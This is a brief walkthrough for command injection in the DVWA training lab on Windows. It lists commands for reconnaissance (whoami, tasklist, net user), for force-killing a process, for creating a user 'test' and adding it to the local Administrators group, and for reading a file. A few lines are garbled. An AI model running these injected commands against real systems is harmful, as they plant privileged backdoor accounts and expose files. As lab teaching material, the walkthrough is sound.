

Command Execution Walkthrough on DVWA- Windows

@mmar

“

Windows commands are different from windows. So, its better to learn the commands that can be useful if web application is running on a windows system

Commands

- ✓ Hostname
- ✓ Whoami
- ✓ Tasklist
- ✓ Taskkill /PID 3112 /F //forcefully kills the processes
- ✓ dir c:\
- ✓ net user
- ✓ net user test /add //add a new user
- ✓ net localgroup Administrators test /add //add test user to administrators
- ✓ net user test //to view the details of the user
- ✓ dir c:\ "pin.txt" or this command ! Take pin.txt //to get content
- ✓ type c:\ "pin.txt" //to get the content of a file
